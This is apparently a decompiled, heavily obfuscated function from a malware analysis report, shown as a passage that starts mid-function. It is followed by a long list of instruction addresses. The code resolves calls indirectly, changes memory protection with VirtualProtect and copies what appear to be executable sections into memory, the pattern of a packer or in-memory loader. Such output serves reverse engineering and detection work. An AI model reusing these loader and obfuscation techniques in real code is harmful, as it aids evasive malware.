                  				 *_t1131 = _t684;
                  				_t1078 = _a4;
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1131 =  *_t1131 |  *_t1130;
                  				_t268 = _t821 + 0x41ca9e; // 0x41ca9e
                  				_v12 = _v12 & 0x00000000;
                  				 *_t1131 =  *_t1131 | _t268;
                  				_t689 =  *((intOrPtr*)(_t821 + 0x41f060))(_v12, _v12, 0);
                  				 *_t1131 =  *_t1131 & 0x00000000;
                  				 *_t1131 =  *_t1131 | _t689;
                  				_t273 = _t821 + 0x41c931; // 0x41c931
                  				 *_t1131 =  *_t1131 & 0x00000000;
                  				 *_t1131 =  *_t1131 | _t273;
                  				_t691 =  *((intOrPtr*)(_t821 + 0x41f060))(_v16);
                  				 *_t275 = _t1023;
                  				_v20 = _t821;
                  				_push(0 + _v16 + _t691);
                  				_t824 = _v20;
                  				_pop(_t692);
                  				_push( *((intOrPtr*)(_t824 + 0x41cccf)));
                  				_pop( *_t280);
                  				_push(_v12);
                  				_pop(_t875);
                  				if(_t875 > _t692) {
                  					 *_t1131 = _t824 + 0x41ca9e;
                  					 *_t1131 =  *_t1131 & 0x00000000;
                  					 *_t1131 =  *_t1131 ^ _t824 + 0x0041c931;
                  					_t692 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1078, _v16);
                  					 *_t286 = _t692;
                  					_push(_v16);
                  					_pop( *_t288);
                  				}
                  				_pop( *_t289);
                  				_t945 = _v12;
                  				_v12 = _t692;
                  				 *_t1131 = _t875 & 0x00000000 | _t692 ^ _v12 | _t945;
                  				 *_t1131 =  *_t1131 ^ _t824;
                  				 *_t1131 =  *_t1131 + _t945;
                  				_v12 = 0;
                  				 *_t1131 =  *_t1131 ^ _t824 + 0x0041d1ba;
                  				 *_t1131 = _t824 + 0x41c856;
                  				_t698 =  *((intOrPtr*)(_t824 + 0x41f068))(_v16, _v12, _t824, _v12);
                  				_v20 = _t1078;
                  				 *(_t824 + 0x41c0c8) = 0 ^ _t698;
                  				_t1081 = _v20;
                  				_pop( *_t304);
                  				_t947 = 0 ^ _v20;
                  				_t879 = 0 ^  *_t1131;
                  				_t1132 = _t1131 - 0xfffffffc;
                  				if(_t1023 != _t1081) {
                  					 *_t1132 =  *_t1132 - _t1023;
                  					 *_t1132 =  *_t1132 ^ _t879;
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1132 =  *_t1132 + _t947;
                  					_v16 = 0;
                  					 *_t1132 =  *_t1132 ^ _t824 + 0x0041c7a9;
                  					_t739 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20, _t1023);
                  					_v12 = 0;
                  					 *_t1132 =  *_t1132 + _t739;
                  					 *_t1132 =  *_t1132 & 0x00000000;
                  					 *_t1132 =  *_t1132 ^ _t824 + 0x0041d026;
                  					_t741 =  *((intOrPtr*)(_t824 + 0x41f060))(_t824, _v12);
                  					_t1139 = _t1132 - 0xfffffffc;
                  					 *_t317 = _t741;
                  					_v20 = _v20 + (_t879 & 0x00000000) +  *_t1132;
                  					_push(_v20);
                  					_pop(_t742);
                  					_t1045 = _t1023;
                  					_push(0);
                  					 *_t1139 = _t1045;
                  					_t906 = 0 ^  *(_t824 + 0x41c244);
                  					if(_t906 > _t742) {
                  						 *_t1139 =  *_t1139 ^ _t906;
                  						 *_t1139 =  *_t1139 | _t824 + 0x0041c7a9;
                  						 *_t1139 =  *_t1139 & 0x00000000;
                  						 *_t1139 =  *_t1139 + _t824 + 0x41d026;
                  						_t797 =  *((intOrPtr*)(_t824 + 0x41f064))(_t824, _t906);
                  						_push(0);
                  						 *_t1139 = _t947;
                  						 *(_t824 + 0x41cf47) = 0 ^ _t797;
                  					}
                  					_pop( *_t326);
                  					_t969 = _v12;
                  					_t908 =  *_t1139;
                  					_t1140 = _t1139 - 0xfffffffc;
                  					do {
                  						asm("movsb");
                  						_v12 = 0;
                  						 *_t1140 =  *_t1140 + _t908;
                  						_v12 = _v12 & 0x00000000;
                  						 *_t1140 =  *_t1140 + _t969;
                  						 *_t1140 =  *_t1140 - _t969;
                  						 *_t1140 =  *_t1140 | _t824 + 0x0041c831;
                  						_t744 =  *((intOrPtr*)(_t824 + 0x41f060))(_t969, _v12, _v12);
                  						 *_t1140 =  *_t1140 ^ _t1112;
                  						 *_t1140 =  *_t1140 ^ _t744;
                  						 *_t1140 =  *_t1140 & 0x00000000;
                  						 *_t1140 =  *_t1140 ^ _t824 + 0x0041c7fa;
                  						_t746 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1081, _t1112);
                  						_t1141 =  &(_t1140[1]);
                  						 *_t337 = _t746;
                  						_v20 = _v20 +  *_t1140;
                  						_push(_v20);
                  						_pop(_t747);
                  						_t1081 = _t1081;
                  						_v12 = _t747;
                  						if((0 ^  *(_t824 + 0x41c054)) > _v12) {
                  							 *_t1141 = _t824 + 0x41c831;
                  							 *_t1141 = _t824 + 0x41c7fa;
                  							_t794 =  *((intOrPtr*)(_t824 + 0x41f064))(_v16, _v16);
                  							_v16 = _t969;
                  							 *((intOrPtr*)(_t824 + 0x41c254)) = _t794;
                  						}
                  						_pop( *_t352);
                  						_t969 = 0 + _v12;
                  						_t1140 = _t1141 - 0xfffffffc;
                  						_t908 =  *_t1141 - 1;
                  					} while (_t908 != 0);
                  					 *_t1140 =  *_t1140 & 0x00000000;
                  					 *_t1140 =  *_t1140 ^ _t969;
                  					 *_t1140 =  *_t1140 & 0x00000000;
                  					 *_t1140 =  *_t1140 ^ _t824 + 0x0041ccd3;
                  					_v20 = 0;
                  					 *_t1140 =  *_t1140 ^ _t824 + 0x0041c339;
                  					_t753 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t908, _t908);
                  					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) & 0x00000000;
                  					 *(_t824 + 0x41d2bf) =  *(_t824 + 0x41d2bf) ^ _t969 ^  *_t1140 ^ _t753;
                  					_t975 =  *_t1140;
                  					_t1142 = _t1140 - 0xfffffffc;
                  					_v12 = _t753;
                  					_t756 = _v12;
                  					 *_t1142 =  *_t1142 ^ _t756;
                  					 *_t1142 =  *_t1142 ^ _t975;
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c8b7;
                  					_push( *((intOrPtr*)(_t824 + 0x41f060))(_v20, _t756, _t969));
                  					_pop( *_t371);
                  					_push(_v16);
                  					_pop( *_t373);
                  					_pop( *_t374);
                  					_t977 = _t975 & 0x00000000 ^ _v16;
                  					 *(_t824 + 0x41c60a) = 0x40;
                  					 *_t1142 = _t977;
                  					_v16 = 0;
                  					 *_t1142 =  *_t1142 ^ _t824 + 0x0041c4cb;
                  					_t760 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v20);
                  					 *_t1142 = _t760;
                  					 *_t1142 = _t824 + 0x41c438;
                  					_t762 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v12);
                  					_pop( *_t386);
                  					 *_t1142 =  *_t1142 | _t824;
                  					_t830 = _t762;
                  					_t824 = 0;
                  					_v16 =  *((intOrPtr*)(_t824 + 0x41c166));
                  					_t916 =  *(_t824 + 0x41d118);
                  					_t1052 = _v16;
                  					if(_t916 > _t830 + _v20 + (_t908 & 0x00000000)) {
                  						_t391 = _t824 + 0x41c4cb; // 0x41c4cb
                  						 *_t1142 =  *_t1142 - _t916;
                  						 *_t1142 =  *_t1142 + _t391;
                  						_t392 = _t824 + 0x41c438; // 0x41c438
                  						 *_t1142 =  *_t1142 ^ _t977;
                  						 *_t1142 =  *_t1142 | _t392;
                  						_t791 =  *((intOrPtr*)(_t824 + 0x41f064))(_t977, _t916);
                  						_v20 = _t977;
                  						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) & 0x00000000;
                  						 *(_t824 + 0x41c583) =  *(_t824 + 0x41c583) | _t977 - _v20 ^ _t791;
                  					}
                  					_t979 =  *_t1142;
                  					_t1143 = _t1142 - 0xfffffffc;
                  					_t401 = _t824 + 0x41c60a; // 0x41c60a
                  					 *_t1143 =  *_t1143 - _t979;
                  					 *_t1143 =  *_t1143 ^ _t401;
                  					 *_t1143 = _t979;
                  					_t403 = _t824 + 0x41cb46; // 0x41cb46
                  					 *_t1143 =  *_t1143 & 0x00000000;
                  					 *_t1143 =  *_t1143 + _t403;
                  					_t404 = _t824 + 0x41c91c; // 0x41c91c
                  					 *_t1143 = _t404;
                  					_t767 =  *((intOrPtr*)(_t824 + 0x41f068))(_v20, _t824, _v16, _t979);
                  					 *_t1143 = _t1081;
                  					 *(_t824 + 0x41cf40) = 0 ^ _t767;
                  					_t1097 = 0;
                  					_t981 =  *_t1143;
                  					_t1144 =  &(_t1143[1]);
                  					_pop( *_t408);
                  					 *_t1144 =  *_t1144 & 0x00000000;
                  					 *_t1144 =  *_t1144 + (0 ^ _v20);
                  					 *_t1144 = _t981;
                  					_t411 = _t824 + 0x41cc6e; // 0x41cc6e
                  					 *_t1144 = _t411;
                  					_t771 =  *((intOrPtr*)(_t824 + 0x41f060))(_v16, _v16, _t916);
                  					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) & 0x00000000;
                  					 *(_t824 + 0x41c082) =  *(_t824 + 0x41c082) ^ _t981 & 0x00000000 ^ _t771;
                  					 *_t418 = _t981;
                  					_t986 = _v12;
                  					 *_t1144 = 2;
                  					_v12 = _v12 & 0x00000000;
                  					 *_t1144 =  *_t1144 ^ _t986;
                  					_t423 = _t824 + 0x41cfff; // 0x41cfff
                  					 *_t1144 =  *_t1144 & 0x00000000;
                  					 *_t1144 =  *_t1144 ^ _t423;
                  					_t773 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _v12, _t824);
                  					 *_t1144 =  *_t1144 & 0x00000000;
                  					 *_t1144 =  *_t1144 + _t773;
                  					_t425 = _t824 + 0x41c3b9; // 0x41c3b9
                  					 *_t1144 =  *_t1144 - _t1112;
                  					 *_t1144 =  *_t1144 | _t425;
                  					_t775 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1112, _t986);
                  					_t1132 =  &(_t1144[1]);
                  					 *_t427 = _t775;
                  					_v20 = _v20 + (_t916 & 0x00000000 |  *_t1144);
                  					_push(_v20);
                  					_pop(_t776);
                  					_t1054 = _t1052;
                  					 *_t1132 = _t1054;
                  					_t879 =  *(_t824 + 0x41d0fa);
                  					_t1057 = 0;
                  					if(_t879 > _t776) {
                  						_t432 = _t824 + 0x41cfff; // 0x41cfff
                  						 *_t1132 =  *_t1132 - _t1112;
                  						 *_t1132 =  *_t1132 + _t432;
                  						_t433 = _t824 + 0x41c3b9; // 0x41c3b9
                  						 *_t1132 =  *_t1132 ^ _t1112;
                  						 *_t1132 =  *_t1132 + _t433;
                  						_t788 =  *((intOrPtr*)(_t824 + 0x41f064))(_t1112, _t1112);
                  						_v12 = _t1097;
                  						 *((intOrPtr*)(_t824 + 0x41d019)) = _t788;
                  						_t1097 = _v12;
                  					}
                  					_pop( *_t438);
                  					_t987 = _v12;
                  					 *_t1132 =  *_t1132 ^ _t824;
                  					 *_t1132 = _t987;
                  					_t440 = _t824 + 0x41c42d; // 0x41c42d
                  					 *_t1132 =  *_t1132 - _t1097;
                  					 *_t1132 =  *_t1132 + _t440;
                  					_t778 =  *((intOrPtr*)(_t824 + 0x41f060))(_t1097, _t824);
                  					 *_t1132 = _t1057;
                  					 *((intOrPtr*)(_t824 + 0x41c664)) = _t778;
                  					_t1060 = 0;
                  					_v16 = _v16 & 0x00000000;
                  					 *_t1132 =  *_t1132 + _t1060;
                  					_t446 = _t824 + 0x41c4b9; // 0x41c4b9
                  					_v12 = 0;
                  					 *_t1132 =  *_t1132 + _t446;
                  					_t449 = _t824 + 0x41c298; // 0x41c298
                  					 *_t1132 =  *_t1132 ^ _t1097;
                  					 *_t1132 = _t449;
                  					_t781 =  *((intOrPtr*)(_t824 + 0x41f068))();
                  					_v16 = _t987;
                  					 *(_t824 + 0x41c405) = 0 ^ _t781;
                  					_t947 = _v16;
                  					VirtualProtect(_t1097, _v12, _v16, ??);
                  					_t455 = _t824 + 0x41c772; // 0x41c772
                  					_v20 = 0;
                  					 *_t1132 =  *_t1132 ^ _t455;
                  					_t458 = _t824 + 0x41cb5c; // 0x41cb5c
                  					 *_t1132 =  *_t1132 ^ _t824;
                  					 *_t1132 =  *_t1132 | _t458;
                  					_t785 =  *((intOrPtr*)(_t824 + 0x41f068))(_t824, _v20);
                  					_v12 = _t1060;
                  					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) & 0x00000000;
                  					 *(_t824 + 0x41c6c0) =  *(_t824 + 0x41c6c0) | _t1060 - _v12 ^ _t785;
                  					_t1023 = _v12;
                  				}
                  				_pop( *_t467);
                  				_v16 = 0;
                  				 *_t1132 =  *_t1132 + _t824 + 0x41d305;
                  				 *_t1132 =  *_t1132 ^ _t879;
                  				 *_t1132 =  *_t1132 | _t824 + 0x0041cf53;
                  				_t701 =  *((intOrPtr*)(_t824 + 0x41f068))(_t879, _v16);
                  				_v16 = _t947;
                  				 *(_t824 + 0x41c775) = 0 ^ _t701;
                  				_t950 = _v16;
                  				_t1026 = (_t1023 & 0x00000000 | _v12) + 0xf8;
                  				_t827 = _t824;
                  				_v20 = 0;
                  				 *_t1132 =  *_t1132 ^ _t827 + 0x0041d2fb;
                  				_v16 = _v16 & 0x00000000;
                  				 *_t1132 =  *_t1132 + _t827 + 0x41c2ea;
                  				_push( *((intOrPtr*)(_t827 + 0x41f068))(_v16, _v20));
                  				_pop( *_t485);
                  				_push(_v12);
                  				_pop( *_t487);
                  				do {
                  					 *_t1132 = _t1026;
                  					 *_t1132 =  *_t1132 ^ _t879;
                  					 *_t1132 =  *_t1132 ^ _t827 + 0x0041c966;
                  					_t706 =  *((intOrPtr*)(_t827 + 0x41f060))(_t879, _v16);
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1132 =  *_t1132 | _t706;
                  					 *_t1132 = _t827 + 0x41ca40;
                  					_t708 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, _v20);
                  					_t1133 = _t1132 - 0xfffffffc;
                  					 *_t497 = _t708;
                  					_v12 = _v12 + (_t879 & 0x00000000) +  *_t1132;
                  					_push(_v12);
                  					_pop(_t709);
                  					_t1028 = _t1026;
                  					_v16 = _t950;
                  					_t882 = 0 ^  *(_t827 + 0x41d332);
                  					_t953 = _v16;
                  					if(_t882 > _t709) {
                  						 *_t1133 =  *_t1133 ^ _t1112;
                  						 *_t1133 = _t827 + 0x41c966;
                  						 *_t1133 =  *_t1133 & 0x00000000;
                  						 *_t1133 =  *_t1133 | _t827 + 0x0041ca40;
                  						_t709 =  *((intOrPtr*)(_t827 + 0x41f064))(_t882, _t1112);
                  					}
                  					 *_t1133 = _t882;
                  					 *((intOrPtr*)(_t827 + 0x41c6bc)) = _t709;
                  					_v20 = _t1028;
                  					_t1031 = _v20;
                  					_v20 = _v20 & 0x00000000;
                  					 *_t1133 =  *_t1133 + _t827 + 0x41c5f7;
                  					_t711 =  *((intOrPtr*)(_t827 + 0x41f060))(_v20, 0);
                  					 *_t1133 = _t711;
                  					_v16 = _v16 & 0x00000000;
                  					 *_t1133 =  *_t1133 | _t827 + 0x0041c637;
                  					_t713 =  *((intOrPtr*)(_t827 + 0x41f060))(_v16, _v12);
                  					_t1134 =  &(_t1133[1]);
                  					_v20 = _a4;
                  					_push( *_t1133 + _t713);
                  					_t1085 = _v20;
                  					_pop(_t714);
                  					_push( *((intOrPtr*)(_t827 + 0x41cece)));
                  					_pop( *_t525);
                  					_push(_v20);
                  					_pop(_t888);
                  					if(_t888 > _t714) {
                  						 *_t1134 =  *_t1134 - _t888;
                  						 *_t1134 =  *_t1134 ^ _t827 + 0x0041c5f7;
                  						_v20 = _v20 & 0x00000000;
                  						 *_t1134 =  *_t1134 | _t827 + 0x0041c637;
                  						_t714 =  *((intOrPtr*)(_t827 + 0x41f064))(_v20, _t888);
                  					}
                  					_v12 = _t1085;
                  					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) & 0x00000000;
                  					 *(_t827 + 0x41c10a) =  *(_t827 + 0x41c10a) | _t1085 ^ _v12 | _t714;
                  					 *_t1134 = _t1112;
                  					_t889 = 0 ^  *(_t1031 + 0x10);
                  					_t1112 = 0;
                  					 *_t1134 =  *_t1134 & 0x00000000;
                  					 *_t1134 =  *_t1134 ^ _t889;
                  					_v20 = 0;
                  					 *_t1134 =  *_t1134 ^ _t827 + 0x0041cee6;
                  					 *_t1134 =  *_t1134 ^ _t1112;
                  					 *_t1134 =  *_t1134 + _t827 + 0x41c9b9;
                  					_t717 =  *((intOrPtr*)(_t827 + 0x41f068))(_v20, _t714);
                  					_v20 = _t1031;
                  					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) & 0x00000000;
                  					 *(_t827 + 0x41cb03) =  *(_t827 + 0x41cb03) ^ (_t1031 & 0x00000000 | _t717);
                  					_t1034 = _v20;
                  					 *_t552 = _t1112;
                  					_push(_v12);
                  					_pop( *_t555);
                  					_v16 = _v16 +  *((intOrPtr*)(_t1034 + 0x14));
                  					_push(_v16);
                  					_pop(_t1089);
                  					_t955 = _t953;
                  					_v16 = 0;
                  					 *_t1134 =  *_t1134 ^ _t889 & 0x00000000 ^ _v20;
                  					 *_t1134 =  *_t1134 & 0x00000000;
                  					 *_t1134 =  *_t1134 + _t827 + 0x41c452;
                  					_v12 = 0;
                  					 *_t1134 =  *_t1134 ^ _t827 + 0x0041c156;
                  					_t720 =  *((intOrPtr*)(_t827 + 0x41f068))(_v12, _t955, _v16);
                  					 *_t1134 = _t955;
                  					 *((intOrPtr*)(_t827 + 0x41c66c)) = _t720;
                  					_t958 = 0;
                  					_pop( *_t567);
                  					_t893 = _v16;
                  					_t1035 =  *(_t1034 + 0xc);
                  					 *_t1134 =  *_t1134 & 0x00000000;
                  					 *_t1134 =  *_t1134 + _t893;
                  					 *_t1134 =  *_t1134 - _t1112;
                  					 *_t1134 = _t827 + 0x41c5a4;
                  					_t722 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112, _t1089);
                  					 *_t1134 =  *_t1134 - _t1112;
                  					 *_t1134 =  *_t1134 ^ _t722;
                  					 *_t1134 =  *_t1134 ^ _t1035;
                  					 *_t1134 =  *_t1134 + _t827 + 0x41ce5b;
                  					_t724 =  *((intOrPtr*)(_t827 + 0x41f060))(_t1112);
                  					 *_t574 = _t1035;
                  					 *_t1134 =  *_t1134 + _t827;
                  					_t828 = _t724;
                  					_t827 = 0;
                  					_push( *((intOrPtr*)(_t827 + 0x41d348)));
                  					_pop( *_t577);
                  					_push(_v12);
                  					_pop(_t896);
                  					if(_t896 > _t828 + (_t893 & 0x00000000 ^ _v20)) {
                  						_t579 = _t827 + 0x41c5a4; // 0x41c5a4
                  						 *_t1134 =  *_t1134 ^ _t958;
                  						 *_t1134 =  *_t1134 | _t579;
                  						_t580 = _t827 + 0x41ce5b; // 0x41ce5b
                  						 *_t1134 =  *_t1134 - _t896;
                  						 *_t1134 =  *_t1134 | _t580;
                  						_t733 =  *((intOrPtr*)(_t827 + 0x41f064))(_t896, _t958);
                  						_v20 = _t1089;
                  						 *(_t827 + 0x41c50f) = 0 ^ _t733;
                  						_t1089 = _v20;
                  					}
                  					_v12 = _t958;
                  					_t1036 =  *(_t827 + 0x41c166) + _t1035;
                  					_t726 = memcpy(_t1036, _t1089, (_t896 & 0x00000000) +  *_t1134);
                  					_t1136 =  &(_t1134[4]);
                  					_t879 = 0;
                  					_t1132 = _t1136 - 0xfffffffc;
                  					_push(_v12);
                  					_t1026 =  *_t1136 + 0x28;
                  					_pop(_t950);
                  					_t588 =  &_v8;
                  					 *_t588 = _v8 - 1;
                  				} while ( *_t588 != 0);
                  				_pop( *_t590);
                  				_t1041 = _v16;
                  				_push(_t1112);
                  				 *_t594 = _t726 & 0x00000000 ^ _t1112 -  *_t1132 ^  *(_t1041 + 0x28);
                  				_v20 = _v20 +  *(_t827 + 0x41c166);
                  				_push(_v20);
                  				_pop(_t729);
                  				_t1043 = _t1041;
                  				 *_t1132 = _t950;
                  				 *((intOrPtr*)(_t827 + 0x41d140)) = _t729;
                  				_t966 = 0;
                  				_v12 = 0;
                  				_t1091 = _t1089 & 0x00000000 | 0 ^  *(_t827 + 0x41c166);
                  				_t901 = _v12;
                  				if(_t1091 > 0) {
                  					 *_t1132 =  *_t1132 & 0x00000000;
                  					 *_t1132 =  *_t1132 + _t1091;
                  					_t730 = E04524E1A(_t827, _t901, _t966, _t1043, _t1091, _t827);
                  					 *_t1132 = _t1091;
                  					_t729 = E04522FAF(_t730, _t827, _t901, _t966, _t1043, _t1091, _v12);
                  				}
                  				_pop( *_t603);
                  				return _t729;
                  			}


































































































































































































                  0x04525f16
                  0x04525f16
                  0x04525f16
                  0x04525f17
                  0x04525f1b
                  0x04525f1e
                  0x04525f20
                  0x04525f23
                  0x04525f24
                  0x04525f28
                  0x04525f2b
                  0x04525f2c
                  0x04525f30
                  0x04525f39
                  0x04525f3a
                  0x04525f3d
                  0x04525f46
                  0x04525f4a
                  0x04525f4d
                  0x04525f56
                  0x04525f57
                  0x04525f5a
                  0x04525f5d
                  0x04525f63
                  0x04525f66
                  0x04525f6e
                  0x04525f71
                  0x04525f72
                  0x04525f75
                  0x04525f78
                  0x04525f7b
                  0x04525f84
                  0x04525f85
                  0x04525f88
                  0x04525f8b
                  0x04525f91
                  0x04525f94
                  0x04525f9d
                  0x04525f9e
                  0x04525fa2
                  0x04525fa5
                  0x04525fab
                  0x04525fb1
                  0x04525fb5
                  0x04525fb8
                  0x04525fbb
                  0x04525fbe
                  0x04525fc0
                  0x04525fcb
                  0x04525fd2
                  0x04525fda
                  0x04525fdd
                  0x04525fe6
                  0x04525fe7
                  0x04525fea
                  0x04525ff3
                  0x04525ff4
                  0x04525ff7
                  0x04525ffa
                  0x04525ffa
                  0x04526002
                  0x04526005
                  0x04526009
                  0x0452600d
                  0x04526017
                  0x0452601b
                  0x04526025
                  0x04526029
                  0x0452602c
                  0x04526032
                  0x04526039
                  0x0452604b
                  0x04526054
                  0x0452605e
                  0x04526067
                  0x04526068
                  0x0452606b
                  0x0452606e
                  0x04526074
                  0x0452607b
                  0x0452607e
                  0x04526088
                  0x0452608b
                  0x04526094
                  0x04526095
                  0x04526098
                  0x0452609b
                  0x045260a1
                  0x045260a7
                  0x045260ae
                  0x045260b7
                  0x045260be
                  0x045260c1
                  0x045260c8
                  0x045260cb
                  0x045260d4
                  0x045260db
                  0x045260de
                  0x045260e4
                  0x045260e7
                  0x045260ee
                  0x045260f1
                  0x045260f4
                  0x045260f7
                  0x045260f8
                  0x04526106
                  0x04526108
                  0x0452610b
                  0x04526114
                  0x04526118
                  0x04526124
                  0x04526127
                  0x0452612d
                  0x04526133
                  0x0452613a
                  0x04526140
                  0x04526147
                  0x0452614a
                  0x0452614f
                  0x04526156
                  0x0452615c
                  0x0452615f
                  0x04526162
                  0x0452616b
                  0x0452616e
                  0x04526172
                  0x04526176
                  0x0452617a
                  0x0452617e
                  0x04526188
                  0x0452618c
                  0x04526195
                  0x0452619c
                  0x0452619f
                  0x045261ab
                  0x045261b2
                  0x045261be
                  0x045261c1
                  0x045261c8
                  0x045261d1
                  0x045261db
                  0x045261de
                  0x045261e5
                  0x045261e8
                  0x045261f1
                  0x045261fb
                  0x045261fe
                  0x04526206
                  0x04526209
                  0x04526210
                  0x04526213
                  0x04526216
                  0x04526219
                  0x0452621a
                  0x0452621b
                  0x04526231
                  0x04526239
                  0x04526240
                  0x04526249
                  0x04526253
                  0x04526256
                  0x04526256
                  0x0452625e
                  0x04526265
                  0x0452626b
                  0x0452626c
                  0x04526276
                  0x04526279
                  0x04526283
                  0x0452628c
                  0x04526296
                  0x04526299
                  0x0452629f
                  0x045262a9
                  0x045262b5
                  0x045262b8
                  0x045262c3
                  0x045262c6
                  0x045262cd
                  0x045262ce
                  0x045262d1
                  0x045262d2
                  0x045262dd
                  0x045262df
                  0x045262e4
                  0x045262ec
                  0x045262f6
                  0x04526300
                  0x04526303
                  0x04526306
                  0x0452630c
                  0x04526314
                  0x0452631b
                  0x04526321
                  0x04526321
                  0x0452632a
                  0x0452632d
                  0x04526335
                  0x04526338
                  0x0452633b
                  0x0452633e
                  0x0452633f
                  0x04526343
                  0x0452634d
                  0x04526351
                  0x0452635d
                  0x04526360
                  0x04526368
                  0x0452636f
                  0x04526375
                  0x0452637c
                  0x0452637f
                  0x04526385
                  0x04526389
                  0x0452638c
                  0x04526396
                  0x04526399
                  0x045263a2
                  0x045263a9
                  0x045263ac
                  0x045263b4
                  0x045263bb
                  0x045263c1
                  0x045263c7
                  0x045263ca
                  0x045263d1
                  0x045263d3
                  0x045263dc
                  0x045263e6
                  0x045263e9
                  0x045263f0
                  0x045263f3
                  0x045263fd
                  0x04526400
                  0x04526403
                  0x04526412
                  0x04526417
                  0x0452641b
                  0x0452641e
                  0x04526420
                  0x04526421
                  0x0452642c
                  0x0452642e
                  0x04526433
                  0x0452643c
                  0x0452643f
                  0x04526448
                  0x04526452
                  0x04526455
                  0x04526455
                  0x04526461
                  0x04526468
                  0x0452646e
                  0x04526474
                  0x04526477
                  0x04526483
                  0x04526486
                  0x0452648c
                  0x04526494
                  0x0452649b
                  0x045264a1
                  0x045264a6
                  0x045264b2
                  0x045264b6
                  0x045264b9
                  0x045264c1
                  0x045264c5
                  0x045264c8
                  0x045264d4
                  0x045264db
                  0x045264e1
                  0x045264e3
                  0x045264e6
                  0x045264f2
                  0x045264f5
                  0x045264fe
                  0x0452650a
                  0x0452650d
                  0x04526515
                  0x04526518
                  0x0452651f
                  0x04526522
                  0x04526525
                  0x04526528
                  0x04526529
                  0x04526537
                  0x04526539
                  0x0452653c
                  0x0452653e
                  0x04526544
                  0x0452654e
                  0x04526551
                  0x04526558
                  0x0452655c
                  0x0452655f
                  0x0452655f
                  0x04526567
                  0x0452656e
                  0x04526574
                  0x04526575
                  0x04526586
                  0x04526590
                  0x04526593
                  0x0452659a
                  0x0452659e
                  0x045265a1
                  0x045265a9
                  0x045265b0
                  0x045265b6
                  0x045265b7
                  0x045265ca
                  0x045265cc
                  0x045265ce
                  0x045265d2
                  0x045265d5
                  0x045265db
                  0x045265e5
                  0x045265e8
                  0x045265ee
                  0x045265f6
                  0x045265fd
                  0x04526603
                  0x0452660b
                  0x04526610
                  0x04526618
                  0x0452661b
                  0x04526622
                  0x04526625
                  0x0452662b
                  0x04526632
                  0x04526635
                  0x0452663c
                  0x04526640
                  0x04526643
                  0x0452664a
                  0x0452664e
                  0x04526651
                  0x04526659
                  0x0452665f
                  0x04526666
                  0x04526667
                  0x0452666a
                  0x0452666b
                  0x04526671
                  0x04526674
                  0x04526677
                  0x0452667a
                  0x04526685
                  0x0452668f
                  0x04526693
                  0x04526696
                  0x0452669d
                  0x045266a0
                  0x045266a3
                  0x045266a3
                  0x045266a9
                  0x045266ac
                  0x045266af
                  0x045266c2
                  0x045266c6
                  0x045266c9
                  0x045266d2
                  0x045266dc
                  0x045266e8
                  0x045266eb
                  0x045266f1
                  0x045266f8
                  0x045266fe
                  0x04526703
                  0x04526706
                  0x0452670b
                  0x0452670e
                  0x04526713
                  0x0452671a
                  0x0452671d
                  0x04526720
                  0x04526727
                  0x04526730
                  0x0452673a
                  0x0452673d
                  0x04526743
                  0x0452674d
                  0x04526757
                  0x0452675b
                  0x0452675e
                  0x0452676d
                  0x04526774
                  0x04526777
                  0x0452677a
                  0x0452677d
                  0x0452677e
                  0x0452677f
                  0x04526781
                  0x0452678c
                  0x04526791
                  0x0452679a
                  0x0452679d
                  0x045267a7
                  0x045267ab
                  0x045267ae
                  0x045267b4
                  0x045267b6
                  0x045267bd
                  0x045267c3
                  0x045267c4
                  0x045267c7
                  0x045267cc
                  0x045267cf
                  0x045267d2
                  0x045267d2
                  0x045267d3
                  0x045267dd
                  0x045267e0
                  0x045267e7
                  0x045267f1
                  0x045267f4
                  0x045267f7
                  0x045267fe
                  0x04526801
                  0x0452680b
                  0x0452680f
                  0x04526812
                  0x0452681d
                  0x04526824
                  0x04526827
                  0x0452682a
                  0x0452682d
                  0x0452682e
                  0x0452682f
                  0x04526841
                  0x0452684c
                  0x04526858
                  0x0452685b
                  0x04526861
                  0x04526868
                  0x0452686e
                  0x04526873
                  0x04526876
                  0x0452687e
                  0x04526881
                  0x04526881
                  0x04526889
                  0x0452688d
                  0x04526897
                  0x0452689b
                  0x045268a4
                  0x045268ae
                  0x045268b1
                  0x045268bd
                  0x045268c4
                  0x045268cd
                  0x045268d0
                  0x045268d3
                  0x045268e0
                  0x045268e4
                  0x045268e7
                  0x045268f0
                  0x045268f7
                  0x04526900
                  0x04526901
                  0x04526904
                  0x04526907
                  0x04526913
                  0x04526916
                  0x04526919
                  0x04526926
                  0x0452692f
                  0x04526939
                  0x0452693c
                  0x04526945
                  0x04526951
                  0x04526954
                  0x04526960
                  0x04526968
                  0x0452696c
                  0x04526971
                  0x04526972
                  0x0452697d
                  0x0452697f
                  0x04526984
                  0x04526986
                  0x0452698d
                  0x04526990
                  0x04526993
                  0x0452699a
                  0x0452699d
                  0x045269a0
                  0x045269a6
                  0x045269ae
                  0x045269b5
                  0x045269bb
                  0x045269c0
                  0x045269c3
                  0x045269c6
                  0x045269cd
                  0x045269d0
                  0x045269d6
                  0x045269d9
                  0x045269e0
                  0x045269e4
                  0x045269e7
                  0x045269f0
                  0x045269f3
                  0x045269fb
                  0x04526a02
                  0x04526a08
                  0x04526a0b
                  0x04526a0e
                  0x04526a13
                  0x04526a1a
                  0x04526a1e
                  0x04526a24
                  0x04526a27
                  0x04526a30
                  0x04526a33
                  0x04526a3f
                  0x04526a46
                  0x04526a4f
                  0x04526a52
                  0x04526a56
